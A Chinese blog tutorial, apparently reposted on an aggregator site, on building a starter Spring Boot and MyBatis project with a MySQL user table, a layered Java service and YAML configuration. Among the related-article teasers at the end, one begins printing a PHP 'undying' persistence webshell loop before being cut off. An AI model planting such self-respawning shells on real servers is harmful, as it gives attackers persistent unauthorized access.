springboot+mybatis快速搭建入门项目

news2024/11/16 21:31:57

简介

本文介绍了如何使用idea搭建一个简易springboot后端项目,该项目可以接受前端http请求,经由服务端并访问数据库,最后返回查询结果。该简易项目从零开始搭建,涵盖controller/service/dao层,简单易懂易上手,并提供代码源文件,模仿查找一个用户id为1的用户,返回其详细信息。

项目作用

帮助初学者快速打通一个从前端访问到后端数据库访问的流程,打通项目环境问题。基于该简易项目,可以再自由地拓展任何其他进阶内容。

展示

1.目录结构
在这里插入图片描述

2.项目测试结果
在这里插入图片描述

搭建过程

准备工作

1.必备软件:idea、 jdk、 mysql
idea用的是2020.1版本,其他版本也可以
jdk使用的是1.8版本;
mysql若未安装,可以搜索安装教程,几分钟即可安装完,设置的密码需要记住。
博主用的版本是5.7.44版本,本项目其他版本也均可用。

2.可选软件:postman 或者 chrome浏览器的Restlet Client插件
博主用的是后者,用于模拟前端http请求

新建idea工程

1.选择File – New Project - Spring Initializr
在这里插入图片描述

2.修改Type如下,Java Version如果有8的版本就选8
在这里插入图片描述

3.选择Web – Spring Web – Next – 最后项目名称随缘设定,Finish即可
在这里插入图片描述

4.检查idea中的JDK版本设置
File – Project Structure 看SDK是否都为8,如果不是,对照改成如下,避免运行过程中报错。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

idea连接数据库

说明:这个步骤是为了我们能清晰显现看到数据库表内容。也可以自行连接使用navicat软件代替该步骤。

找到idea右上角有数据库/Database侧边栏,打开侧边栏点击加号->数据源,选择MySQL
在这里插入图片描述
填入用户名,默认root,密码填写安装mysql时预设的密码。
Database和URL可以参考以下设置
Database:mmall_learning
URL:jdbc:mysql://localhost:3306/mmall_learning

最后点击Test Connection连接测试。如果有提示下载connector,则点击下载;如果有time zone相关提示,则参照接下来的图片设置即可,最后点击Test Connection显示绿勾说明连接成功。
在这里插入图片描述
关于timezone的提示,按如下设置,找到Advanced – serverTimezone,设置为 Asia/Shanghai
在这里插入图片描述

运行sql语句

1.使用idea运行下面2个步骤。选择如下图标打开数据库查询控制台,输入SQL语句分别执行创建库和表,并插入数据。
在这里插入图片描述

2.创建数据库

CREATE DATABASE mmall_learning;

3.创建用户表

CREATE TABLE `mmall_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户表id',
  `username` varchar(50) NOT NULL COMMENT '用户名',
  `password` varchar(50) NOT NULL COMMENT '用户密码,MD5加密',
  `email` varchar(50) DEFAULT NULL,
  `phone` varchar(20) DEFAULT NULL,
  `question` varchar(100) DEFAULT NULL COMMENT '找回密码问题',
  `answer` varchar(100) DEFAULT NULL COMMENT '找回密码答案',
  `role` int(4) NOT NULL COMMENT '角色0-管理员,1-普通用户',
  `create_time` datetime NOT NULL COMMENT '创建时间',
  `update_time` datetime NOT NULL COMMENT '最后一次更新时间',
  PRIMARY KEY (`id`),
  UNIQUE KEY `user_name_unique` (`username`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=22 DEFAULT CHARSET=utf8;

4.插入数据

INSERT INTO `mmall_user` VALUES ('1', 'admin', '427338237BD929443EC5D48E24FD2B1A', 'admin@mmall.com', '13800138000', '问题', '答案', '1', '2022-11-06 16:56:45', '2023-04-04 19:27:36'), ('13', 'keety', '08E9A6EA287E70E7E3F7C982BF7923AC', 'tt@mmall.com', '13800138000', '问题', '答案', '0', '2022-11-19 22:19:25', '2023-11-19 22:19:25'), ('17', 'rosen', '095AC193FE2212EEC7A93E8FEFF11902', 'mm@mmall.com', '13800138000', '问题', '答案', '0', '2022-03-17 10:51:33', '2023-04-09 23:13:26'), ('21', 'soonerbetter', 'DE6D76FE7C40D5A1A8F04213F2BEFBEE', 'test@mmall.com', '13800138000', '105204', '105204', '0', '2022-04-13 21:26:22', '2023-04-13 21:26:22');

最后记得提交

COMMIT;

代码

pom依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.4.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <!--连接数据库-->
        <dependency>
            <groupId>org.mybatis.spring.boot</groupId>
            <artifactId>mybatis-spring-boot-starter</artifactId>
            <version>1.3.1</version>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>6.0.6</version>
        </dependency>

    </dependencies>

</project>

controller层,创建UserController类

@RestController
public class UserController {

    @Autowired
    private UserService userService;

    @RequestMapping(value = "/get_user", method = RequestMethod.GET)
    public ResponseEntity<User> getUser(@RequestParam(value = "id") String userId) {
        User user = userService.getUser(userId);
        return ResponseEntity.status(HttpStatus.OK).body(user);
    }

}

service层,创建UserService类

@Service
public class UserService {

    @Autowired
    private UserMapper userMapper;

    public User getUser(String userId) {
        User user = userMapper.findById(userId);
        return user;
    }

}

dao层,创建UserMapper接口

@Mapper
public interface UserMapper {

    @Select("SELECT * FROM mmall_user WHERE ID = #{id}")
    User findById(@Param("id") String id);
}

bean实体类,创建User类

public class User {
    private Integer id;

    private String username;

    private String password;

    private String email;

    private String phone;

    private String question;

    private String answer;

    private Integer role;

    private Date createTime;

    private Date updateTime;

	// get/set方法省略
}

yaml参数配置
如果resource下自己的配置文件是application.properties,可以将后缀改为.yaml
在这里插入图片描述

配置文件内容如下:

spring:
  application:
    name: demo
  datasource:
    url: jdbc:mysql://localhost:3306/mmall_learning&useUnicode=true&characterEncoding=utf-8&useSSL=false
    username: root
    password: 123456
    driver-class-name: com.mysql.cj.jdbc.Driver

server:
  port: 8081

运行调试

1.找到项目主程序main,运行调试。如果有问题,可参照后面的解决方案尝试解决。
在这里插入图片描述
2.使用postman或者client插件,测试发送请求
在这里插入图片描述

常见的报错解决

1.Could not autowire. No beans of ‘UserMapper’ type found.
在这里插入图片描述
不会影响实际编译和运行。如果想消除碍眼的红线,可以通过修改idea的检测级别消除红线。

在这里插入图片描述

2.The driver has not received any packets from the server
数据库参数配置信息不对,重新检查是否有问题

3.mysql出现The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or represents more than one time zone.这个报错。
可以在配置文件中的URL中加入?serverTimezone=UTC【文中展示的已加】

代码资源

受限于博客对资源链接的屏蔽,以上代码资源可以通过关注以下公众号并回复java项目即可获取,该公众号仅用于免费资源分享。后续会在该基础上拓展相关项目代码。
公众号名称:Java侠客
请添加图片描述

觉得文章有帮助可以点个赞支持一下哟~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1552092.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

离心式风机运行效率测算

1.总压静压动压&#xff1b; 2.动压0.5空气体密度风速2&#xff1b; 风机所需功率P&#xff08;KW&#xff09;&#xff1a;PQp/&#xff08;36001000η0η1&#xff09; Q—风量&#xff0c;m3/h&#xff1b; p—风机的全风压&#xff0c;Pa&#xff1b; η0—风机的内效率&a…

C++ 控制语句(二)

一 break continue和goto语句 1 break语句 在switch语句中&#xff0c;分隔case子句&#xff0c;跳出switch语句。 在循环语句中可以立即终止循环语句的执行。 2 continue语句 功能:在一次循环过程中,跳过continue语句以下的语句,直 接进入下一次循环操作。 3 goto语句 …

Java学习之方法

目录 方法 方法声明格式&#xff1a; 调用方式&#xff1a; 详细说明 示例 --方法的声明及调用 语句块 练习 方法的重载(overload) 构成条件 示例 --方法重载 递归结构 缺陷 方法 方法(method)&#xff1a;一段用于完成特定功能的代码片段&#xff0c;类似于其他语…

【2024年软考】老伙计的软考之路(1)软考报名

一、2024软考改革 仔细看工信部发的软考通知附件&#xff0c;对比上半年和下半年的考试科目变化。 比如高级&#xff1a; 1、信息系统项目管理师从之前的一年考两次变成了今年上半年只考一次。 2、网络规划设计师、系统规划与管理师变成下半年只考一次。 剩下的自己对比着…

Qt 多线程QThread的四种形式

重点&#xff1a; 1.互斥量&#xff1a;QMutex配套使用&#xff0c;lock(),unlock(),如果一个线程准备读取另一个线程数据时候采用tryLock()去锁定互斥量&#xff0c;保证数据完整性。 QMutexLocker简化版的QMutex,在范围区域内使用。 QMutex mutex QMutexLocker locker(&…

Vivado使用(2)——综合运行与OOC

目录 一、综合运行 二、OOC 2.1 如何设置 OOC 模块 2.2 存根文件和黑盒属性 2.3 使用限制 2.4 另一种设置方法 一、综合运行 一个“运行&#xff08;run&#xff09;”是指定义和配置设计在综合过程中的各方面&#xff0c;包括&#xff1a;使用到约束&#xff0c;针对的…

使用 OpenOCD 来调试 STM32

STM32 在 Windows 上的交叉编译二 调试 在上一篇博客 《在Windows上交叉编译STM32(环境搭建)》 &#xff0c;已经让 CubeMX 生成的工程成功编译&#xff0c;并下载到板子上了。 这篇博客主要继续介绍接下来的步骤&#xff0c;调试。硬件是使用的 ST-LINK &#xff0c;别的也无…

【任职资格】某大型制造型企业任职资格体系项目纪实

该企业以业绩、责任、能力为导向&#xff0c;确定了分层分类的整体薪酬模式&#xff0c;但是每一名员工到底应该拿多少工资&#xff0c;同一个岗位的人员是否应该拿同样的工资是管理人员比较头疼的事情。华恒智信顾问认为&#xff0c;通过任职资格评价能实现真正的人岗匹配&…

RobotFramework编写用例,在Jenkins上如何实现用例的并发运行?

我们了解RobotFramework编写自动化测试用例的方法&#xff0c;了解如何将用例在Jenkins上运行。 但是&#xff0c;随着用例的增多&#xff0c;传统的pybot/robot命令运行测试用例会耗费大量的时间&#xff0c;这就慢慢成为了一个苦恼的问题。 那么&#xff0c;在Jenkins上如何…

Redis数据结构的基础插入操作

数据结构与内部编码 Redis常见的数据结构 数据结构和内部编码 数据结构的插入操作 在Redis中&#xff0c;数据结构的插入操作取决于你要插入的数据类型。以下是一些常见的数据结构和它们的插入操作&#xff1a; 字符串 (String)&#xff1a;使用 SET 命令来插入字符串。例…

考研数学|武忠祥学习包搭配《660》和《880》

一、660、880、三大计算简单分析 660题 这本题册具有高难度、综合度和深度&#xff0c;属于高质量的题材。我建议不要在基础阶段就着手解决其中的660题&#xff0c;因为这可能会影响你的信心。相反&#xff0c;你可以在基础阶段完成一轮学习后&#xff0c;将这些题目留到强化…

Linux manim安装

简介 根据文档可知, manim目前分为两个版本, 一个是由3Blue1Brown维护更新的最新版本的manimgl, 另一个是稳定的社区版本manim or manimce. 两个版本在安装和使用上都有些不同, 不要搞混. Linux manim ERROR No package ‘pangocairo’ found Getting requirements to buil…

Spring-IoC-属性注入的注解实现

1、创建对象的注解 Component 用于声明Bean对象的注解&#xff0c;在类上添加该注解后&#xff0c;表示将该类创建对象的权限交给Spring容器。可以直接将这些类直接创建&#xff0c;使用的时候可以直接用。 注解的value属性用于指定bean的id值&#xff0c;value可以省略&…

电源噪声的起因及危害

对造成电源不稳定的根源进行简单分析如下,主要在于两个方面:一是器件高速开关状态下,瞬态的交变电流过大;二是电流回路上存在的电感。从表现形式上来看又可以分为三类:同步开关噪声(SSN),有时被称为Δi噪声,地弹(Ground bounce)现象也可归于此类(图1-a);非理想电…

HTTP状态 405 - 方法不允许

方法有问题。 用Post发的请求&#xff0c;然后用Put接收的。 大家也可以看看是不是有这种问题 <body><h1>HTTP状态 405 - 方法不允许</h1><hr class"line" /><p><b>类型</b> 状态报告</p><p><b>消息…

windwos权限维持

1.php 不死马权限维持 <?php ignore_user_abort(); //关掉浏览器&#xff0c;PHP脚本也可以继续执行. set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去 $interval 5; // 每隔*秒运行 do { $filename test.php; if(file_exists($filename)) { echo…

Spring Integration 是什么?

Spring Integration 是什么&#xff1f; Spring Integration 在 Spring 家族不太有名气&#xff0c;如果不是有需求&#xff0c;一般也不会仔细去看。那么 Spring Integration 是什么呢&#xff1f;用官方的一句话来解释就是&#xff1a;它是一种轻量级消息传递模块&#xff0…

快速上手Spring Cloud 十四:璀璨物联网之路

快速上手Spring Cloud 一&#xff1a;Spring Cloud 简介 快速上手Spring Cloud 二&#xff1a;核心组件解析 快速上手Spring Cloud 三&#xff1a;API网关深入探索与实战应用 快速上手Spring Cloud 四&#xff1a;微服务治理与安全 快速上手Spring Cloud 五&#xff1a;Spring …

虚幻引擎资源加密方案解析

前段时间&#xff0c;全球游戏开发者大会(Game Developers Conference&#xff0c;简称GDC)在旧金山圆满落幕&#xff0c;会议提供了多份值得参考的数据报告。根据 GDC 调研数据&#xff0c;当下游戏市场中&#xff0c;Unreal Engine (下文简称虚幻)和 Unity 是使用最多的游戏引…

神奇的css radial-gradient

使用css radial-gradient属性&#xff0c;创造一个中间凹陷进去的形状。如下图 background: radial-gradient(circle at 50% -0.06rem, transparent 0.1rem, white 0) top left 100% no-repeat;